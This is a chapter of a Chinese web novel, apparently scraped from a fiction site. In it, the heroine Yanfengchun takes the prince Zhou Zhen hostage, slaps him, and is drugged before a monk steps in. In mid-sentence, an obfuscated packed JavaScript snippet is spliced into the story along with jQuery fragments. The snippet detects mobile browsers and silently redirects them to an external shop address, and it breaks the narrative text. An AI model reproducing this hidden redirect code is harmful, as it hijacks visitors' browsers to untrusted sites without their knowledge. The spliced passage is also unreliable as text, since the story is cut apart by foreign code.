文趣网 > 其他小说 > 陨落后大师姐她杀穿了 > 13. 扇我
    周瑧眼里的偏执让人不寒而栗,他们隔着城墙遥遥相望,燕逢春的手下意识按住了腰间的剑。

    一股强烈的危机感在脑海间骤然崩裂炸开,她后退一步,却见周瑧隔空缓缓抬起了手。

    “姐姐,怎么能丢下我一个人呢……”他似笑非笑,嘴角也在怪异地抽动,“姐姐,说好了要陪着我的,你怎么能……你怎么敢……”

    燕逢春紧抿着唇,心里在飞快思索着破局之法。

    如今敌我双方兵力悬殊,想要靠寻常的计谋守住这座城是全然行不通的,只要周瑧一声令下,铁骑随时都会踏破这座城门。

    届时人为刀俎,谁也逃不开屠戮。

    周瑧不是什么善良的人,这些天来她也看得透彻。照影来这小孩又很犟,到时候落在周瑧手上只怕真的会被他挂在房门前。

    “周瑧,”她在疾风中开口,风将她额前的发丝吹得凌乱,声音也有些失真,“我们谈谈。”

    “谈谈?”周瑧被气笑了,他指了指自己的鼻尖,“你像丢狗一样丢下我,现在和我说谈谈?晚了!”

    照影来额头青筋毕现攥着拳头就要上前,燕逢春伸手将他拦在身后,另一手握着剑柄飞身而出。

    燕逢春自城楼一跃而下,衣袂翩跹在空中飘舞,靴尖点地之际,长剑横于胸前。

    周瑧一愣,眼里又惊又怒,好似有火在烧:“你要杀我?”

    燕逢春叹了一口气:“你不是早就被我杀过吗,周瑧。何苦作茧自缚,自欺欺人。”

    “你都想起来了?”周瑧的表情阴晴不定,他猛地抬起手冷声吩咐,“没本王的命令谁都不许动手。”

    他又看向燕逢春,语气忽而放缓了:“我们谈谈。”

    “你刚才可不是这么说……”燕逢春笑了,“现在这情况怎么谈?”

    “姐姐,这绝非我的本意。”周瑧的眉眼间带着过于刻意的无辜,“我是真的在担心你。云秉泊说你的身体不宜剧烈运动,伤势又还没好……和我回去吧,姐姐,我不会伤害你的。”

    燕逢春扫过他身后浩浩荡荡的军队,铁甲重器,旌旗猎猎,周国强悍的实力无需多言。

    她又回头看了一眼身后,城墙上余下的几名武林人士严阵以待,长剑出鞘,面上毫无惧色。

    这里没有贪生怕死之辈。

    但他们不该折在这里。

    “好,我们谈谈。”燕逢春收剑入鞘,抬脚向他走去。

    一步,两步。

    照影来的手握紧了剑柄,微微弯下身子,浑身紧绷蓄势待发。

    燕逢春没有回头,站定在阵前。她与周瑧的距离已经很近了,他没有避让,反而扯了扯缰绳俯身看她。

    阳光落在他的发梢,将紫金抹额照得熠熠生辉,低头看来的脸却被阴暗遮去大半,反衬得更为阴翳。

    燕逢春仰头瞧去,正对上周瑧一双晦暗不明的双眸。他伸手过来,那双眼里难得映入一丝阳光。

    她微微睁大眼,举起手臂迎上了周瑧的手指。

    周瑧眼中笑意更甚,阴霾一扫而空,阳光落在半边脸侧,他似乎又变回了初见那个明媚的少年。

    说时迟那时快,手指即将相触之际,燕逢春猛地往上狠狠攥住他的手腕借力凌空跃起。

    高高举起的另一手袖子中寒芒毕现,她落在周瑧身后巧妙地将他手臂反折在身后,手中的小刀轻巧地抵上脖颈,小腿一夹马腹往前几步又将马匹掉过头好让身后的人都看个清楚:“都不许动!”

    众人纷纷惊骇,想要上前又碍于主子做了人质,一时竟果真无人敢动。

    “殿下……”

    “谁若胆敢上前一步。”燕逢春的语调冷了下来,手指稍稍用力,周瑧的脖颈上顿时晕开一道血线,“我就动手了。”

    “殿下!”

    “后退二十里。”周瑧语调听不出喜怒,他背对着燕逢春,她也很难看清他脸上如今是何种神情,约莫也是好看不到那里去的。

    众军闻言往后撤去,他又往后靠了靠:“满意了?”

    燕逢春没有答话,确认周国军队的确没什么阴谋之后抬头往城墙上看去,守城的人松了一口气。

    虽说他们已做好了最差的准备,但没有谁真正是想死的。

    可如今这般……亦是进退两难的地步。周国皇子骁勇善战心狠手辣,倘若放虎归山只恐后患无穷,但除之后快周国定然不会轻易放过,只怕届时战火烧得更旺。

    所有人的目光汇聚在燕逢春的身上。

    该如何是好?如何才能……最大程度上保全所有人?

    她心中也在快速盘算思索,方才是周瑧大意才让人有了可乘之机,但是按照他的性子,只怕这件事不会善了。若是周瑧真的在她的手中被杀,只怕大周铁骑很快就会踏碎这座城。

    周瑧,暂时还动不得。

    正当燕逢春心中思量之际,周瑧忽而笑了起来。他的笑声低沉,似乎一点都不担心自己此刻的困境,也毫不在乎抵在脖子旁的锐刃。他笑得浑身发抖,燕逢春不得不将小刀松了松,而后周瑧猛地一扯缰绳,马儿开始狂奔。

    “等……你疯了?!”小刀瞬息在手指间打了个圈收进掌心,险些划破周瑧的喉咙。他却丝毫没有放在心上,还犹嫌马跑得不够快。

    转眼间就奔出几里地,回头已看不清城墙,周瑧的军队也不知退了多远,不过争取的时间应当是足够了,周瑧与他在一起,周国的军队也不敢贸然进攻。

    燕逢春不太清楚地势,自从苏醒后也没有好好观察过四周的地形,也不知跑到了个什么地方。

    “周瑧,你疯了吗!”

    她不得不带着周瑧翻下马背,两个人在草地上滚了几圈才停下来,衣角沾染了灰尘与草根而显得脏乱,所过之处卷起一片尘土。

    燕逢春猛地咳了两声,一手紧紧攥着周瑧的手腕不让他脱离,好不容易停下来时眼见着周瑧要起身顿时利索翻身压上他,同时伸手紧紧箍着他手腕,另一手掐上他的脖子。声音冷冷:“别动。”

    周瑧抬眼盯着她看,忽而嗤笑一声,笑声里带着漫不经心与玩味:“装什么啊,要是想杀我你早动手了,前面拉着我还不是紧张得要死?”

    他这腔调倒是让燕逢春一时有些不适应,周瑧似乎头一回用这种语气同她说话,就像是突然揭开了面具不打算装下去。

    实则她也没有十足的把握能行之有效,只是依照这段时日对周瑧的了解,加上一点点小手段,能成功拖出这样长的时间并且劫持周瑧,很大一部分是因为……他自己。

    燕逢春一时说不清楚内心是怎样的情绪。

    或许周瑧本身就有了十成的把握,认定她会因为顾虑他的身份而不敢动手。

    周瑧本就是这样一个人,高傲,狂妄,又的确有这样的资本。

    燕逢春的眼神冷淡下来,她抵在周瑧脖子上的手并没有松开,反倒掐得更紧:“杀不了你,但是让你痛还是能做到。”

    “痛?”周瑧眉梢一扬,反倒将自己的脖子往她掌心贴得更

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632157|206412||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    紧,“姐姐,再用点力,这样可不够痛!”

    这副疯样着实骇人,燕逢春瞳孔微缩,手指蜷着结结实实往里掐去。

    意识清晰地告诉她眼前之人暂且动不得,但杀心不受控制地冒出来。

    “咳、咳咳……”

    周瑧没有挣扎,一张脸慢慢变红,他艰难地咳嗽,眼睛却仍在笑。

    “不够,姐姐,这样还远远不够让我痛!”他忽而伸手覆盖上她的手背猛地用力,带着她的手指往脖颈更深处压去。

    周瑧的面色明显变得不大对劲,燕逢春忽地收回手又狠狠抽了他一巴掌。

    清脆的声响裹着风声,周瑧的头被打得偏到一旁,左边脸上浮现出清晰的巴掌印,明显泛着红。

    他先是一愣,难以置信地盯着燕逢春,而后捂着脸笑了。

    “姐姐,疼不疼?”

    燕逢春怔住:“什么?”

    “你的手。”

    她一时不知道该说些什么,估摸着时间差不多也该拖够了,拍拍衣角从周瑧身上站了起来。

    “你的人应当不久就能找到这儿了。小殿下,我今日不动手的原因你心里也清楚,但是你的行为……不在正道。”

    有风吹过草野间,细细簌簌,仿佛谁在窃窃私语。

    “正道?”周瑧笑容更甚,他一如既往的不屑,“这世间本就没有道,只是世人非得给自己的行事找个冠冕堂皇的理由,于是‘正道’便出现了。而与之背道而驰的,则为‘不在正道’。姐姐,你也难逃世俗呀。”

    燕逢春站起身来低头看着他,此刻他正双手支着身子半支起身体,懒洋洋地与她对视。眼里是惯有的不屑与傲慢,又带着她看不懂的其他东西。

    “我本就是芸芸众生的一员。”燕逢春低声开口,她的声音杂糅在风声中,旷野的风染上泥土的湿意,天色也渐渐暗沉下来。

    山雨欲来。她几乎没怎么思考就脱口而出:“正道从不是为谁而存的,而是世人的生存需要正道。世间存恶,亦有善念,哪怕在这般世道之下也仍存希望……所以才需要有人站出来,去匡扶正道。”

    “好啦,我不想与你在这件事上争辩太多,总归没有结果。”周瑧耸了耸肩,“但是姐姐,你应当是没有那个机会了。我舍不得杀你,但是这一次……不会让你逃出去了。”

    他又笑了,燕逢春隐隐有不好的预感,下一秒只觉得气血上涌,她猛地呕出一口血。

    “放心,云秉泊说这药不会伤到你的根本……很快就好了,姐姐。等回去后……我会养好你的身子。到时候你与我共回大周,什么狗屁正道世人,我保证你很快就会抛之脑后了。”

    周瑧的声音一会很近一会很远,他举起手晃了晃自己的掌心,她方才明白过来是刚才在马背上时周瑧趁着混乱将药粉融入她手心的伤口血液之中。摇摇欲坠之际,她不得不将袖中小刀划破掌心才换得几分清醒。

    她快速地往后退去,周瑧步步紧逼,他就快要行至身前,忽而一阵厉风袭来。

    一把巨大的禅杖劈头盖下,直直钉入土地三分。凛冽的劲风带起泥点飞溅上衣角,禅杖不偏不倚正好拦在他们中间挡住了周瑧的路。

    只见一人缓缓落地,横在他们二人之间。

    燕逢春看着眼前的模糊背影,一个大胆的猜测在她的脑海里炸开。

    “阿弥陀佛,”

    厚重的声音里带着绵延的慈悲,僧人合掌敛目。

    “燕师姐,劳您先行一步,贫僧随后就到。”